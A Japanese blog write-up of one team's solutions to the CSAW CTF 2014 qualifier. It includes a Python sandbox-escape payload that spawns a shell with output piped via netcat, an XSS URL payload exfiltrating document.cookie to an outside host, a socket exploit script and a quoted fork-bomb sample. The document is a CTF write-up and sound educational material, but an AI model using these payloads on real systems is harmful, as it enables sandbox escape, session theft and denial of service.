CSAW CTF 2014 予選Write-up
CSAW CTF 2014の予選にsuperflipというチーム名で参加した。結果。2240点145位。去年までは簡単な問題が多かったけど、今年は難しい問題は普通に難しかった。以下、解けた問題の解法。問題はアカウントを登録すれば、ここでまだ見られる。
Exploitation
bo (100点)
バイナリファイルとそれが動いているサーバーのIPアドレスが提示される良くある形式。普通はバイナリファイル中にフラグは無いので、バイナリファイルを解析して、その結果をサーバーに投げるけれども、この問題はバイナリファイル中にフラグがそのまま含まれていた。
>strings bo : Welcome to CSAW CTF! Time to break out IDA Demo and see what's going on inside me. :] flag{exploitation_is_easy!} Unable to set SIGCHLD handler :
exploitation_is_easy!
pybabbies (200点)
Pythonの問題。globals()と__builtins__.__dict__が消去された環境で、入力された文字列からosやevalなどの文字列がフィルタリングされたあと、execされる。このページを参考にシェルを取った。
__builtins__.__dict__['len']=lambda p:p.__len__();[c for c in ().__class__.__base__.__subclasses__() if c.__name__=='catch_warnings'][0].__init__.__globals__['linecache'].__dict__['o'+'s'].__dict__['exe'+'clp']('sh','sh')
標準出力が表示されなかったので、パイプで「| nc 自分のIP ポート」に投げた。
>nc -l 1234 total 72 drwxr-xr-x 4 pybabbies pybabbies 4096 Sep 20 17:35 . drwxr-xr-x 4 root root 4096 Sep 14 19:04 .. lrwxrwxrwx 1 pybabbies pybabbies 9 Sep 20 08:45 .bash_history -> /dev/null -rwxr-xr-x 1 pybabbies pybabbies 919 Sep 20 05:28 .bash_history.old -rwxr-xr-x 1 pybabbies pybabbies 220 Sep 14 19:04 .bash_logout -rwxr-xr-x 1 pybabbies pybabbies 3950 Sep 20 17:34 .bashrc -rw-r--r-- 1 pybabbies pybabbies 16384 Sep 20 17:35 .bashrc.swp drwxr-xr-x 2 pybabbies pybabbies 4096 Sep 20 08:38 .cache -r--r--r-- 1 root pybabbies 34 Sep 20 05:28 key -r--r--r-- 1 root pybabbies 34 Sep 20 05:28 key.txt -rwxr-xr-x 1 pybabbies pybabbies 675 Sep 14 19:04 .profile -rwxr-xr-x 1 root pybabbies 655 Sep 20 05:28 pyshell.py -rwxr-xr-x 1 pybabbies pybabbies 75 Sep 14 19:36 .selected_editor drwxr-xr-x 2 pybabbies pybabbies 4096 Sep 20 14:49 .ssh -rwxr-xr-x 1 pybabbies pybabbies 7117 Sep 20 17:33 .viminfo >nc -l 1234 flag{definitely_not_intro_python}
definitely_not_intro_python
saturn (400点)
0xAnを送るとある配列Xのn番目の値が読め、0xEnと直後に4バイトの値aを投げて別の配列Yのa番目の値とaが一致すればn番目のフラグが立ち、0x80を送って0-7番目のフラグが立っていれば答えが表示されるというプログラム。配列Xと配列Yが隣接しているので、0xA8を投げると0xE0に対応する値が読める。
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("54.85.89.65", 8888)) print s.recv(1000) for i in range(8): s.send(chr(0xa8+i)) k = s.recv(4) print k.encode("hex") s.send(chr(0xe0+i)+k) s.send("\x80") print s.recv(1000)
greetings_to_pure_digital
Reverse Engineering
eggshells (100点)
ファイルが何個も入ったPythonのプログラム。試しに動かしてみたら、Fork爆弾を喰らってパソコン蛾物故割れた(´Д`; ) アニメの録画中でなくて良かった(´Д`; )
*.pyの中に1個だけ*.pycがあり、http://kchung.co/lol.pyN という文字列が含まれていた。覗いてみると、
import os while True: try: os.fork() except: os.system('start') # flag{trust_is_risky}
trust_is_risky
csaw2013reversing2.exe (200点)
Windowsプログラム。IsDebuggerPresentが真ならフラグが復号される。ただし最初の1バイトがヌル文字なのでメモリを覗く必要がある。たしかに去年の問題に同じのがあった。
reversing_is_not_that_hard!
weissman (300点)
オリジナルのアーカイブ方式で圧縮されたファイルを復号しろという問題。アーカイブのファイル名がweissman.csawlzなので、まあLZでしょう。HTMLファイルとフラグが書かれたJpegがあって、HTMLファイルならある程度必要な文字列が決まるのでそれを頼りに圧縮方式を探っていく。
0x13が来たら次の9バイトのブロックをそのまま書き出す。それ以外の値のときは常に偶数でその半分が書き出す長さ、次の2バイトがどこからバイト列を持ってくるかという情報。ここで参照できるのは9バイトのブロックの先頭だけらしい。また、何ブロック前という方式ではなく、同じブロックは同じ2バイトで参照される。ブロックのCRCか何かかなと思ったけど、そこは分からなかった。
まあ、こんな方法でJpegファイルに圧縮が効くわけがなく、0x13以外になることがないので手で埋めた。最初に0x13以外が出てくるのが量子化テーブルで、まあ近くの値というとで0x44を。次がhttp://hp.vector.co.jp/authors/VA032610/JPEGFormat/marker/DHT.htm:tittle=ハフマンテーブル。ここは16バイトの値の合計が続くバイト列の長さになる。全部0x00だと辻褄が合った。ここまででビュアーで開けるようになり、あとは適当に0x00にすると、何とか絵が見える。
I know how long it'd take me, and I can prove it
Cryptography
1問も解けなかった(´Д`; )
Forensics
why not sftp? (200点)
FTPでzipファイルをダウンロードしている。サイズが大きくてパケットが分かれているので、Follow TCP Streamで1方向のみにしてファイルに保存。
91e02cd2b8621d0c05197f645668c5c4
Obscurity (200点)
画像が貼られたPDFファイル。どこかに文字列が隠されているのだろうとあたりをつけて、全て選択→コピペ。
security_through_obscurity
Web
hashes (300点)
古いjQueryで、$(location.hash)をしていた。この脆弱性。
http://54.86.199.163:7878/#<img src=x onerror="location='http://xxxxxxxxxxxxxxxx/'+document.cookie">
というURLを投稿すると
GET /win=%22flag%7Bthese_browser_bots_are_annoying%7D%22 HTTP/1.1 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://54.86.199.163:7878/ Connection: Keep-Alive Accept-Encoding: gzip Accept-Language: en-US,* Host: xxxxxxxxxxxxxxxx
というアクセスが来る。最初に自分のIPを投稿してもアクセスが無いので、誰かが投稿したURLにアクセスすることはないのかと思ったのだが、http://54.86.199.163:7878/なら良いらしい。
these_browser_bots_are_annoying
Recon
ネトスト問題。1問も解けなかった(´Д`; )
Networking
Trivia
geohot pls (10点)
This is what geohot and other members of the CTF community are calling live streamed CTF competitions where spectators can watch competitors screens as they solve challenges.
livectf
We don't know either (10点)
On this day in November, the CSAW Career Fair takes place in Brooklyn, New York.
14